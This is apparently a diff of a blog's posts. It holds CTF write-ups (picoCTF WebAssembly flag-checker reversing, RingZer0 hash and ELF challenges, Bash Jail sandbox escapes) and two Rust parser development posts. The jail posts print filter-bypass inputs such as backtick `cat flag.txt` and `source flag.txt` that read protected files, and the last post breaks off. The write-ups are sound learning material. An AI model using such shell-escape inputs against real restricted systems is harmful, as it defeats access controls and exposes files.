exports[_0x271e58(0x129)](_0x441124['charCodeAt'](_0x34c54a), _0x34c54a);
}
exports[_0x271e58(0x129)](0x0, _0x441124[_0x271e58(0x128)]), exports[_0x271e58(0x12d)]() == 0x1 ? document[_0x271e58(0x131)](_0x271e58(0x12e))[_0x271e58(0x12c)] = _0x271e58(0x11e) : document[_0x271e58(0x131)](_0x271e58(0x12e))['innerHTML'] = _0x271e58(0x127);
}
```
We will save this to a file called `code.js`.
The first part is mutating, more specifically rotating, the definitions in
`_0x143f` until the sum of the integers sprinkled throughout the list equals
`0xed04c`. Take another look at the code to make sure you can verify why that
is the case.
```js
const _0x143f = ['exports', '270328ewawLo', 'instantiate', '1OsuamQ', 'Incorrect!', 'length', 'copy_char', 'value', '1512517ESezaM', 'innerHTML', 'check_flag', 'result', '1383842SQRPPf', '924408cukzgO', 'getElementById', '418508cLDohp', 'input', 'Correct!', '573XsMMHp', 'arrayBuffer', '183RUQBDE', '38934oMACea'];
const _0x187e = function (_0x3075b9, _0x2ac888) {
_0x3075b9 = _0x3075b9 - 0x11d;
let _0x143f7d = _0x143f[_0x3075b9];
return _0x143f7d;
};
(function (_0x3379df, _0x252604) {
const _0x1e2b12 = _0x187e;
while (!![]) {
try {
const _0x5e2d0a = -parseInt(_0x1e2b12(0x122)) + -parseInt(_0x1e2b12(0x12f)) + -parseInt(_0x1e2b12(0x126)) * -parseInt(_0x1e2b12(0x12b)) + -parseInt(_0x1e2b12(0x132)) + parseInt(_0x1e2b12(0x124)) + -parseInt(_0x1e2b12(0x121)) * -parseInt(_0x1e2b12(0x11f)) + parseInt(_0x1e2b12(0x130));
if (_0x5e2d0a === _0x252604) break;
else _0x3379df['push'](_0x3379df['shift']());
} catch (_0x289152) {
_0x3379df['push'](_0x3379df['shift']());
}
}
}(_0x143f, 0xed04c));
```
We can paste this into a `node` interactive `REPL` and get the final value of `_0x143f`.
```
> _0x143f
[
'input', 'Correct!',
'573XsMMHp', 'arrayBuffer',
'183RUQBDE', '38934oMACea',
'exports', '270328ewawLo',
'instantiate', '1OsuamQ',
'Incorrect!', 'length',
'copy_char', 'value',
'1512517ESezaM', 'innerHTML',
'check_flag', 'result',
'1383842SQRPPf', '924408cukzgO',
'getElementById', '418508cLDohp'
]
```
Notice the function `_0x187e` used indirectly to access elements of the
list. It is shadowed as `_0x271e58` and `_0x484ae0` to aid the obfuscation.
Other than that, the function is never called anywhere else. It makes sense
to evaluate the expressions from the function calls and then remove it.
Let's write a quick python script to do so.
```py
import re
import subprocess
ex = re.compile(r"_0x(271e58|484ae0)\((0x[123456789abcdef0]+)\)")
# Define the list and the indexing function
definitions = """
const _0x143f = [
'input', 'Correct!',
'573XsMMHp', 'arrayBuffer',
'183RUQBDE', '38934oMACea',
'exports', '270328ewawLo',
'instantiate', '1OsuamQ',
'Incorrect!', 'length',
'copy_char', 'value',
'1512517ESezaM', 'innerHTML',
'check_flag', 'result',
'1383842SQRPPf', '924408cukzgO',
'getElementById', '418508cLDohp'
];
const _0x187e = function (_0x3075b9, _0x2ac888) {
_0x3075b9 = _0x3075b9 - 0x11d;
let _0x143f7d = _0x143f[_0x3075b9];
return _0x143f7d;
};
"""
with open('code.js') as h:
contents = h.read()
calls = []
log_calls = []
for fn, call in ex.findall(contents):
shadow_call = "_0x{}({})".format(fn, call)
calls.append(shadow_call)
log_calls.append("console.log(_0x187e({}))".format(call))
with open('code_1.js', 'w') as h:
h.write(definitions)
h.write('\n'.join(log_calls))
evaluated = subprocess.check_output("node code_1.js", shell=True).decode().splitlines()
for call, expr in zip(calls, evaluated):
contents = contents.replace(call, '"{}"'.format(expr))
# Ignore anything we have already evaluated,
# in this case, anything before defining exports.
contents = contents[contents.index("let exports"):]
with open("code_1.js", 'w') as h:
h.write(contents)
```
We run the above code to get `code_1.js`.
```js
let exports;
(async () => {
const _0x484ae0 = _0x187e;
let _0x487b31 = await fetch('./qCCYI0ajpD'),
_0x5eebfd = await WebAssembly["instantiate"](await _0x487b31["arrayBuffer"]()),
_0x30f3ed = _0x5eebfd['instance'];
exports = _0x30f3ed["exports"];
})();
function onButtonPress() {
const _0x271e58 = _0x187e;
let _0x441124 = document["getElementById"]("input")["value"];
for (let _0x34c54a = 0x0; _0x34c54a < _0x441124["length"]; _0x34c54a++) {
exports["copy_char"](_0x441124['charCodeAt'](_0x34c54a), _0x34c54a);
}
exports["copy_char"](0x0, _0x441124["length"]), exports["check_flag"]() ==
0x1 ? document["getElementById"]("result")["innerHTML"] = "Correct!" :
document["getElementById"]("result")['innerHTML'] = "Incorrect!";
}
```
We can interchange the object notations for function calls and array lengths.
After renaming some of the variables so that they make more sense, we end up
with the following:
```js
let exports;
(async () => {
let blob = await fetch('./qCCYI0ajpD'),
assembly = await WebAssembly.instantiate(await blob.arrayBuffer()),
instance = assembly['instance'];
exports = instance["exports"];
})();
function onButtonPress() {
let value = document.getElementById("input").value;
for (let i = 0; i < value.length; i++) {
exports.copy_char(value.charCodeAt(i), i);
}
exports.copy_char(0, value.length), exports.check_flag() == 1 ?
document.getElementById("result").innerHTML = "Correct!" :
document.getElementById("result").innerHTML = "Incorrect!";
}
```
The real magic happens when the script downloads a WebAssembly blob and uses
the functions exported in it to verify the input. Let's download the
WebAssembly file from the endpoint and decompile it.
```sh
wget http://mercury.picoctf.net:60022/qCCYI0ajpD -O blob.wasm
wasm-decompile blob.wasm -o decompiled.wat
```
Among the functions defined, the `copy_char` function sticks out as it
appears to perform an *xor* with a key.
```js
function copy(a:int, b:int) {
var c:int = g_a;
var d:int = 16;
var e:int_ptr = c - d;
e[3] = a;
e[2] = b;
var f:int = e[3];
if (eqz(f)) goto B_a;
var g:int = 4;
var h:int = e[2];
var i:int = 5;
var j:int = h % i;
var k:ubyte_ptr = g - j;
var l:int = k[1067];
var m:int = 24;
var n:int = l << m;
var o:int = n >> m;
var p:int = e[3];
var q:int = p ^ o;
e[3] = q;
label B_a:
var r:int = e[3];
var s:byte_ptr = e[2];
s[1072] = r;
}
```
Looking through each line, we can simplify this quite a bit.
Here are some ways we can make educated guesses. From the code we see that `l`
is an integer.
```js
var m:int = 24;
var n:int = l << m;
var o:int = n >> m;
```
Subsequent left and right shifts by 24 means getting rid of the first `24 / 8 =
3` bytes. Here's an animation to visualize the process.
![Left and right shifts by 24](/lr-shifts.gif)
This means `l` is actually used to index a byte and not an int.
> Note: The following code is not `wasm`, it's more akin to pseudocode.
```js
function copy(a:int, b:int) {
var e:int_ptr = g_a - 16;
e[3] = a;
e[2] = b;
// if (eqz(e[3]:int)) goto B_a;
if (*e[3] == 0) {
// b[1072] = e[3];
b[1072] = 0;
}
var k:ubyte_ptr = 4 - (e[2] % 5);
// var l:int = k[1067];
// e[3] = e[3] ^ (l << 24) >> 24;
var l:byte = *(k + 1067);
e[3] = e[3] ^ l;
}
```
From the beginning of the file, we can infer that some encoded string is
present at offset `1024`. Another shorter string starts from offset `1067`.
```
data d_nAa1bd7(offset: 1024) =
"\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8"
"\94\c9\d5d\c0\96\c4\d97\93\93\c2\90\00\00";
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";
```
The following confirms that `k` indexes into the string at offset `1067`.
```js
var l:int = k[1067];
```
Since `l` is used as the *xor* byte, the string at index `1067` must be the key.
The variable `k` rotates from `0` to `4` according to the index of the
character to decide the byte to *xor* with. *xor* is an involuntary function,
i.e., if something is *xor'd* with a key twice, we get the original data back.
Therefore, we can undo the encoding.
We will create a Rust program to do this.
```
cargo new picoctf
cargo add hex
```
Add the following code to `src/main.rs`.
```rust
use hex;
use std::error::Error;
fn main() -> Result<(), Box<dyn Error>> {
let key = hex::decode("f1a7f007ed")?;
let crib: Vec<u8> = hex::decode(
// "\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8"
"9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000",
)?
.into_iter()
.enumerate()
.map(|(i, x)| {
let i = 4 - (i % 5);
let x = x ^ key[i];
if x > 0 && x < 0x7f {
x
} else {
0
}
})
.collect();
let result = String::from_utf8(crib)?;
println!("{result}");
Ok(())
}
```
Now we run the program.
```
cargo run
```
```
picoCTF{b70fcd378740f6e4bce8388c01540c43}
```
There we have our flag!

View File

@@ -0,0 +1,129 @@
---
title: "Polishing and Bugfix Week"
date: 2024-07-29T13:46:41+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Hello and welcome to the last instalment in the series where we build a parser
for a domain specific langauge in Rust. Please go through the previous articles
since this article assumes you are aware of such contextual details.
Let's start with the bugfixes.
# Eagerly removing unbinds
While going through the tests, I figured that
the prior parser eagerly parses unbinds and removes said keystroke combinations
from our binding set. Unlike the previous iteration, our iteration had unbinds
as a separate set which deferred the task of the removing the set intersection
to the upstream crate instead.
To fix this, we follow the good old adage, _"fix it in post"_. With the import
functionality taking care of duplicate imports, all imports are parsed using
the private `SwhkdParser::as_import` function, passing in the respective inputs as
well as a state struct to keep track of imports we've already seen. The only
exception to this rule is for the root of all the imports. For the root config,
we have a `from` function that accepts a single input (raw text or path) and repeatedly
uses the `as_import` function on all subsequent inputs.
Since we know that the upstream crate will only be able to use the public `from` function,
we can add the fix right after every import has been parsed. We add the following
loop to remove any binding in our binding list as long as it also exists in the
unbinds list.
```rust
for def in root.unbinds.iter() {
if let Some(i) = root.bindings.iter().position(|b| b.definition.eq(def)) {
root.bindings.remove(i);
}
}
```
# Overwriting bindings that are redefined
I had a talk with my GSoC mentor last week where we discussed whether bindings
from imports that get redefined in the root config should be overwritten. After
some back and forth, we decided to stick with the older behavior of overwriting.
To implement this, instead of blindly extending the list of bindings with what
has been parsed, we check if a binding with the same definition exists. If so,
we replace the binding's command with the new command.
```rust
for binding in binding_parser(decl)? {
if let Some(b) = bindings
.iter_mut()
.find(|b| b.definition == binding.definition)
{
b.command = binding.command;
b.mode_instructions = binding.mode_instructions;
} else {
bindings.push(binding);
}
}
```
# Unescaping commands in shorthands
This one's a fairly straightforward one but I probably would have missed it if it
were not for the tests. The commands, just like keys, must be unescaped when present
in shorthands. This is so that we can distinguish a comma separating two
shorthand elements or a dash representing a range from a literal comma or a dash.
Solution? Simply reuse the unescape function we used in for the keys.
```rust
// ...
Rule::command_component => {
command_variants.push(unescape(component.as_str()).to_string())
}
// ...
```
# Removing trailing double ampersands from commands
When defining commands for bindings, swhkd allows us to chain commands with
double ampersands (`&&`). Not only that, we can also invoke modes with special
syntax. If the `&&` is followed by a `@enter` and a modename, we enter a mode
whereas a `@escape` allows us to exit a mode.
In a previous article where we built a way to extract these modes during a single
pass iteration, we extract the mode instruction to our list of mode instructions
and if the last component was not a `&&`, we keep the `&&`.
This idea was somewhat flawed since and expression like the following keeps an
extra trailing `&&`.
```
echo hi && ls && @enter mymode
```
Clearly, the last `&&` has no problem staying beside the `ls` while the `@enter`
mode instruction was happily extracted away. The result `echo hi && ls &&` isn't
a valid command though.
To fix this, we add a small snippet of code to pop off the last element if it happens
to be just one `&&`.
```rust
if comm
.last()
.is_some_and(|last| last.len() == 1 && last[0] == "&&")
{
comm.pop();
}
```
# Wrapping up
So yeah, those were the small bugs that needed to be squashed and with that all
the previous tests as well as new tests are passing. This also marks the end of
the development phase on my end. Perhaps in a next post, I'll talk about how I
actually use SWHKD in my daily workflows. Stay tuned!

View File

@@ -0,0 +1,150 @@
---
title: "Preventing Infinite Recursions From Eating Your Lunch"
date: 2024-07-04T09:57:01+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Hello and welcome to the eighth instalment in the series where we build a
parser for a domain specific language in Rust. I'd highly recommend
going through the previous articles to make sense of what well talk about today.
After a bit of back and forth with my mentor, we landed on moving the logic that imports
other config files into the parser crate itself. Config files can reference other modules
using import statements of the following form:
```
include some_other_module.swhkd
```
The grammar side is fairly simple to implement, we match the token "include" followed by
a path to some other file.
```
import_file = { (!NEWLINE ~ ANY)+ }
import = { "include" ~ import_file }
```
We'll add this to the core set of variants so that we can actually match the expression.
```
content = _{ comment | mode | unbind | binding | import | NEWLINE }
```
Now we could very well blindly recurse through modules imported one after another but
that comes with the subtle pitfall of an infinite recursion. Allow me to elaborate:
Assume you have a module called `module_a` that is the top-level or the root config file.
Let's say it imports another module, `module_b`. If `module_b` now imports `module_a`,
our code enters an infinite recursion state, continuously evaluating these two modules forever.
Thus, the key takeaway is to implement book-keeping for the import paths so that they
form a directional acyclic graph. This requires us to write some additional code for
our parser.
First, let's create a field in our parser struct that stores tha names of all the imports it
has seen.
```rust
pub struct SwhkdParser {
pub bindings: Vec<Binding>,
pub unbinds: Vec<Definition>,
pub imports: BTreeSet<String>,
pub modes: Vec<Mode>,
}
```
Notice that the import field is a `BTreeSet` or a binary tree set. As you might know, adding
duplicate elements to a set discards them, keeping only the unique elements behind. Although we could have
used a `HashSet` here, a binary tree set is faster since it does not require a dedicated
hashing function. Considering that the average setup
would not wield even a thousand submodules, it's sufficient to store the imports in a set.
We'll create slightly separate implementations to differentiate between the root module
and any submodules it imports. For now, let's tackle the implementation for the submodules.
We create a method for the parser result called `as_import` for loading any of these aforementioned submodules.
```rust
fn as_import(input: ParserInput, seen: &mut BTreeSet<String>) -> Result<Self, ParseError> {
// ...
}
```
The `seen` argument is how the caller tells the callee about what import paths it has already seen.
While processing import expressions, we keep adding the imports we have seen so far to a local `BTreeSet`.
```rust
let mut imports = BTreeSet::new();
for decl in contents.into_inner() {
match decl.as_rule() {
// other rules like bindings
Rule::import => imports.extend(import_parser(decl)),
}
}
```
Once all the tokens in the current config have been parsed, we can move on to adding the imports to
the set of `seen` imports.
```rust
while let Some(import) = imports.pop_first() {
if !seen.insert(import.clone()) {
continue;
}
let child = Self::as_import(ParserInput::Path(Path::new(&import)), seen)?;
imports.extend(child.imports);
bindings.extend(child.bindings);
unbinds.extend(child.unbinds);
modes.extend(child.modes);
}
```
Although we recurse here, the base case when the set of `seen` elements already contains an import
saves us from entering an infinite loop.
Once that's done, we can return the newly parsed result.
```rust
Ok(SwhkdParser {
bindings,
unbinds,
imports,
modes,
})
```
Coming back to the root config, this is where we create the topmost set of `seen` imports that can
be passed on to any `Self::as_import` calls.
```rust
pub fn from(input: ParserInput) -> Result<Self, ParseError> {
let mut root_imports = BTreeSet::new();
let mut root = Self::as_import(input, &mut root_imports)?;
root.imports = root_imports;
Ok(root)
}
```
We start off with an empty set and delegate the loading of the config to the `as_import` function,
sending it a mutable reference to this (kind of) global source of truth, at least throughout the
call stack of import related functions.
Lastly, for the sake of backwards compatibility, we assign the imports we have seen so far to the
root parser result. This was the behavior present in the original parser. Note that the import
fields in the submodules will all be empty since we popped them one by one in this loop:
```rust
while let Some(import) = imports.pop_first() {
// ...
}
```
Okay, that's all for now. See you soon!

View File

@@ -0,0 +1,177 @@
---
title: "Hash Me Please"
tags:
- Cryptography
- CTF
- RingZer0
- Web Parsing
date: 2022-08-19T09:57:00+05:30
draft: false
---
In this RingZer0 challenge, we are asked to visit
http://challenges.ringzer0team.com:10013/ and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
[http://challenges.ringzer0team.com:10013/?r=_response_](http://challenges.ringzer0team.com:10013/?r=response)
and to do that, we'll be using some Golang.
Let's declare the URI as a constant.
```go
const uri = "http://challenges.ringzer0team.com:10013/"
```
We fetch the challenge page using the `Get` function from the `http` standard
library, checking for errors along the way.
```go
resp, err := http.Get(uri)
if err != nil {
log.Fatalln(err)
}
```
We defer closing the response body when the program ends.
```go
defer resp.Body.Close()
```
Next, we are going to use a library called `goquery` to parse the HTML in the body of the response.
```go
doc, err := goquery.NewDocumentFromReader(resp.Body)
if err != nil {
log.Fatalln(err)
}
```
We will now match a single (`goquery.Single`) _div_ element with the class
"message" and read the text inside it.
```go
message := doc.FindMatcher(goquery.Single(".message")).Text()
```
To grab the line which has the actual message, we split the lines and take the
line at index 2 (which is line 3, remember computers begin indexing from 0).
```go
line := strings.Split(message, "\n")[2]
```
Just to be on the safe side, let's also trim out any leading or trailing tabs and whitespaces.
```go
line = strings.Trim(line, " \t")
```
We can now find the SHA512 hash of the line using the standard `crypto/sha512`
library. For this we pass a byte slice representation of the string to the `Sum512` function.
```go
hash := sha512.Sum512([]byte(line))
```
To construct the new URI, we can use format strings. Here `%s` represents the
original URI, `?r=` is the parameter we are asked to supply and `%x` represents
the hex digest of the hash.
```go
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
```
Assuming that our program is quick enough to compute the hash withing 2 seconds
😅, we will fetch the `flagUri`. As usual, we defer closing the response body
when the program ends.
```go
flagPage, err := http.Get(flagUri)
if err != nil {
log.Fatalln(err)
}
defer flagPage.Body.Close()
```
---
At this point, you could print the response body text which is what I did for
the first time.
This might be a time to pause and ponder, perhaps try out the aforementioned
technique.
For the sake of completeness, I will write the rest of the program so that
it only prints the flag when run.
---
Let's parse the response body using `goquery` again.
```go
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
if err != nil {
log.Fatalln(err)
}
```
The flag is located in the _div_ with the class "alert-info".
```go
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
```
Finally, we print out the flag.
```go
fmt.Println(flag)
```
Here's the code in all it's glory.
```go
package main
import (
"crypto/sha512"
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"strings"
)
const uri = "http://challenges.ringzer0team.com:10013/"
func main() {
resp, err := http.Get(uri)
if err != nil {
log.Fatalln(err)
}
defer resp.Body.Close()
doc, err := goquery.NewDocumentFromReader(resp.Body)
if err != nil {
log.Fatalln(err)
}
message := doc.FindMatcher(goquery.Single(".message")).Text()
line := strings.Split(message, "\n")[2]
line = strings.Trim(line, " \t")
hash := sha512.Sum512([]byte(line))
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
flagPage, err := http.Get(flagUri)
if err != nil {
log.Fatalln(err)
}
defer flagPage.Body.Close()
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
if err != nil {
log.Fatalln(err)
}
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
fmt.Println(flag)
}
```

View File

@@ -0,0 +1,193 @@
---
title: "RingZer0 CTF Hash Me Reloaded"
date: 2022-08-19T09:57:15+05:30
tags:
- Cryptography
- CTF
- RingZer0
- Web Parsing
draft: false
---
In this RingZer0 challenge, we are to visit the challenge url where we are
given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter `r`. Let's write
a go program to do that.
First let's declare the url as a constant.
```go
const uri = "http://challenges.ringzer0team.com:10014/"
```
We fetch the challenge page and defer closing its body once the program ends.
```go
resp, err := http.Get(uri)
if err != nil {
log.Fatalln(err)
}
defer resp.Body.Close()
```
We will use the `goquery` library to parse the response HTML.
```go
doc, err := goquery.NewDocumentFromReader(resp.Body)
if err != nil {
log.Fatalln(err)
}
```
We find the single (`goquery.Single`) element with the "message" class and get
the text contents of the element.
```go
text := doc.FindMatcher(goquery.Single(".message")).Text()
```
To grab the line which has the actual binary string, we split the lines and
take the third (which is index 2, remember computers begin indexing from 0).
```go
binary := strings.Split(text, "\n")[2]
```
Let's also trim any spaces and tabs as a precaution.
```go
binary = strings.Trim(binary, " \t")
```
We declare a buffer where we can store the decoded contents.
```go
var buf []byte
```
Since each character in the string represents a bit, 8 of them represent a byte.
We will loop with a sliding window of 8 characters, parse them as an integer into a byte
and append them to the buffer.
```go
for i := 0; i < len(binary)/8; i++ {
// decode sequence of 8 bits with base 2
if b, err := strconv.ParseInt(binary[i*8:8+i*8], 2, 8); err != nil {
log.Fatal(err)
} else {
buf = append(buf, byte(b))
}
}
```
Let's find the SHA512 hash of the decoded string using the `Sum512` function
from the standard `crypto/sha512` library.
```go
hash := sha512.Sum512(buf)
```
We use format strings to construct the new URI, we can use format strings. Here
`%s` is a placeholder for the constant URI, `?r=` is the parameter we are
supply the answer to and `%x` represents the hex digest of the hash.
```go
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
```
Once we have this URI, we can send this through to get a response. As done
previously, we defer closing the response body once the program ends.
```go
flagPage, err := http.Get(flagUri)
if err != nil {
log.Fatalln(err)
}
defer flagPage.Body.Close()
```
---
Pause and ponder to make sure you have understood the code so far.
Now you could print the response body as I did the first time solving this.
However, as with any other writeup, I will write the rest of the program so
that it only prints the flag when run.
---
Lets parse the response body using `goquery` again.
```go
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
if err != nil {
log.Fatalln(err)
}
```
The flag is located in the _div_ element with the class “alert-info”.
```go
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
```
Finally, we print out the flag.
```go
fmt.Println(flag)
```
The final code becomes the following:
```go
package main
import (
"crypto/sha512"
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"strconv"
"strings"
)
const uri = "http://challenges.ringzer0team.com:10014/"
func main() {
resp, err := http.Get(uri)
if err != nil {
log.Fatalln(err)
}
defer resp.Body.Close()
doc, err := goquery.NewDocumentFromReader(resp.Body)
if err != nil {
log.Fatalln(err)
}
text := doc.FindMatcher(goquery.Single(".message")).Text()
binary := strings.Split(text, "\n")[2]
binary = strings.Trim(binary, " \t")
var buf []byte
for i := 0; i < len(binary)/8; i++ {
// decode sequence of 8 bits with base 2
if b, err := strconv.ParseInt(binary[i*8:8+i*8], 2, 8); err != nil {
log.Fatal(err)
} else {
buf = append(buf, byte(b))
}
}
hash := sha512.Sum512(buf)
flagUri := fmt.Sprintf("%s?r=%x", uri, hash)
flagPage, err := http.Get(flagUri)
if err != nil {
log.Fatalln(err)
}
defer flagPage.Body.Close()
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
if err != nil {
log.Fatalln(err)
}
flag := doc.FindMatcher(goquery.Single(".alert-info")).Text()
fmt.Println(flag)
}
```

View File

@@ -0,0 +1,249 @@
---
title: "I Saw a Little Elf"
date: 2022-08-19T09:57:34+05:30
tags:
- CTF
- ELF
- RingZer0
- Web Parsing
draft: false
---
## Introduction
This challenge asks us to connect to an webpage with a base64 encoded message.
If we try to decode the message manually, the decoded message ends up either in a reversed ELF (Executable and Linkable Format) binary or more base64 to be decoded.
Trying this multiple times, it becomes apparent that the challenge reverses an ELF binary, encodes it one or more times in base64 and sends it to us.
If we run the executable, we are given a string which we must send to the challenge endpoint through the `r` HTTP GET query parameter. The real challenge is to do this within the few seconds before the server resets the challenge.
## Exploration
Let's start by fetching the contents of the challenge URI.
```go
resp, err := http.Get(uri)
if err != nil {
log.Fatalln(err)
}
defer resp.Body.Close()
```
To parse the webpage, we will use the `goquery` package.
We create a new goquery document from the response body.
```go
doc, err := goquery.NewDocumentFromReader(resp.Body)
if err != nil {
log.Fatalln(err)
}
```
From our initial exploration, we know that the challenge
data can be extracted from the HTML `div` element with the
"message" class.
We use a matcher that matches a single, that is, the first
occurence of the aforementioned element and extract the
text inside the element.
```go
message := doc.FindMatcher(goquery.Single(".message")).Text()
```
The raw text has a few leading and trailing lines that are
not useful for us. We will split the lines and take the one
after the first two lines.
```go
message = strings.Split(message, "\n")[2]
```
We will wipe any newlines, spaces and tabs before further
processing. To do this, we will write a small helper function like so:
```go
func WipeSet(s, set string) string {
for _, char := range set {
s = strings.Replace(s, string(char), "", -1)
}
return s
}
```
and utilize the function in the main function as:
```go
challenge := WipeSet(message, "\n\t ")
```
Next, to decode the challenge base64 itself, we
initalize a slice to store the raw decoded bytes.
```go
var Bytes []byte
```
Since we don't know how many levels the binary has
been encoded in base64, we begin with an infinite loop.
```go
for {
// until we break out of the loop
}
```
We use the base64 standard library to decode the string.
```go
Bytes, err = base64.StdEncoding.DecodeString(challenge)
if err != nil {
log.Fatal(err)
}
```
If the decoded bytes end with the reversed ELF header, we
can stop iterating and just reverse the bytes to yield the
original executable file.
```go
if bytes.HasSuffix(Bytes, []byte{0x46, 0x4c, 0x45, 0x7f}) {
for i, j := 0, len(Bytes)-1; i < j; i, j = i+1, j-1 {
Bytes[i], Bytes[j] = Bytes[j], Bytes[i]
}
break
}
```
Otherwise, we convert the bytes to string for the next round
of decoding.
```go
challenge = string(Bytes)
```
This marks the end of the repeated decoding in the loop.
We write the binary to a file called "exe" with the read, write and executable permissions for our user (`0o700`).
```go
if err := ioutil.WriteFile("exe", Bytes, 0o700); err != nil {
log.Fatal(err)
}
```
The proof of work is the output generated by running the binary.
```go
secret, err := exec.Command("./exe").Output()
if err != nil {
log.Fatal(err)
}
```
After wiping any newlines and formatting the url with the r parameter as the secret,
we set the request off.
```go
flagPage, err := http.Get(
fmt.Sprintf("%s?r=%s", uri, WipeSet(string(secret), "\n")),
)
if err != nil {
log.Fatalln(err)
}
defer flagPage.Body.Close()
```
Now that we have the flag page we can create a new goquery document from this response's body.
```go
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
```
Finally, we can print the text in the "alert-info" div, which is the flag.
```go
fmt.Println(doc.FindMatcher(goquery.Single(".alert-info")).Text())
```
Here is the code in all its entirety.
```go
package main
import (
"bytes"
"encoding/base64"
"fmt"
"github.com/PuerkitoBio/goquery"
"io/ioutil"
"log"
"net/http"
"os/exec"
"strings"
)
const uri = "http://challenges.ringzer0team.com:10015/"
func WipeSet(s, set string) string {
for _, char := range set {
s = strings.Replace(s, string(char), "", -1)
}
return s
}
func main() {
resp, err := http.Get(uri)
if err != nil {
log.Fatalln(err)
}
defer resp.Body.Close()
doc, err := goquery.NewDocumentFromReader(resp.Body)
if err != nil {
log.Fatalln(err)
}
message := doc.FindMatcher(goquery.Single(".message")).Text()
message = strings.Split(message, "\n")[2]
challenge := WipeSet(message, "\n\t ")
var Bytes []byte
for {
Bytes, err = base64.StdEncoding.DecodeString(challenge)
if err != nil {
log.Fatal(err)
}
if bytes.HasSuffix(Bytes, []byte{0x46, 0x4c, 0x45, 0x7f}) {
for i, j := 0, len(Bytes)-1; i < j; i, j = i+1, j-1 {
Bytes[i], Bytes[j] = Bytes[j], Bytes[i]
}
break
}
challenge = string(Bytes)
}
if err := ioutil.WriteFile("exe", Bytes, 0o700); err != nil {
log.Fatal(err)
}
secret, err := exec.Command("./exe").Output()
if err != nil {
log.Fatal(err)
}
flagPage, err := http.Get(
fmt.Sprintf("%s?r=%s", uri, WipeSet(string(secret), "\n")),
)
if err != nil {
log.Fatalln(err)
}
defer flagPage.Body.Close()
doc, err = goquery.NewDocumentFromReader(flagPage.Body)
fmt.Println(doc.FindMatcher(goquery.Single(".alert-info")).Text())
}
```

View File

@@ -0,0 +1,52 @@
---
title: "Bash Jail 1"
tags:
- Bash
- CTF
- RingZer0
- Sandbox Escape
date: 2022-07-24T12:27:56+05:30
draft: false
---
# The challenge
Upon SSHing into the box, we are told that the flag is located at `/home/level1/flag.txt`
Challenge bash code:
```bash
while :
do
echo "Your input:"
read input
output=`$input`
done
```
# Inference and experimenation
The script is reading an input, executes it and then stores it in the
`output` variable without ever displaying the output to the console.
I tried a dummy command to see if I could see its `stderr` since command
substitution (backticks) only capture the `stdout`.
```
echo hi 1>&2
```
Unfortunately that did not work, we did not have the "hi" blurted out in
the stderr. So, I resorted to another route.
# Solution
Remember how, if we ever tweak our bashrc file, we need to source it
to bring it to effect? Well, we can also, source the flag.txt file
and the script should error out with the contents of the file.
```bash
source flag.txt
flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found
```
There we have our flag.

View File

@@ -0,0 +1,59 @@
---
title: "Bash Jail 2"
date: 2022-07-24T12:28:56+05:30
tags:
- Bash
- CTF
- RingZer0
- Sandbox Escape
draft: false
---
# The challenge
Logging into the box we are told that the flag is located at `/home/level2/flag.txt`
### Challenge bash code
```bash
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output="echo Your command is: $input"
eval $output
fi
done
```
# Inference
This time, the `check_space` function returns a `1` if there are any characters in the input
string among `b`,`d`,`k`,`s`, a semicolon, an ampersand and a whitespace. If the function does
return 1, we get a "restricted characters" message and no further processing happens.
However, if our input passes the check, the program echoes `"Your command is: $input"`.
We can use a simple command like `cat flag.txt` in backticks (command substitution) to execute
it in the `eval` statement. However, whitespaces are not allowed. To bypass this, we can use a
tab in place of the whitespace.
# Solution
We give the script the following input:
```
`cat flag.txt`
```
Which gets evaluated and prints the flag.
```
Your command is: FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P
```

View File

@@ -0,0 +1,69 @@
---
title: "Bash Jail 3"
date: 2022-07-24T12:29:56+05:30
tags:
- Bash
- CTF
- RingZer0
- Sandbox Escape
draft: false
---
# The challenge
Logging into the box we are told that the flag is located at `/home/level3/flag.txt`.
```bash
function check_space {
if [[ $1 == *[bdksc]* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output=`$input` &>/dev/null
echo "Command executed"
fi
done
```
We are also told that this prompt is launched using `./prompt.sh 2>/dev/null`
which means we cannot exfiltrate the flag from `stderr` since it is blocked.
# Inference
This time, the `check_space` function returns a `1` if there are any characters in the input
string among `b`,`d`,`k`,`s` and `c`. If the function returns 1, we get a "restricted characters"
message and no further processing happens.
Once our input passess through the `check_space` function, it is passed in a command
substitution with the `stdout` and `stderr` being redirected yet again to `/dev/null`
```bash
output=`$input` &>/dev/null
```
If we cannot read the flag through `stderr` (file descriptor 2) or through `stdout` (file descriptor 1),
we can resort to redirecting the output to `stdin` (file descriptor 0).
# Solution
We can pass a command that reads and displays the contents of `flag.txt` in an `eval` statement and
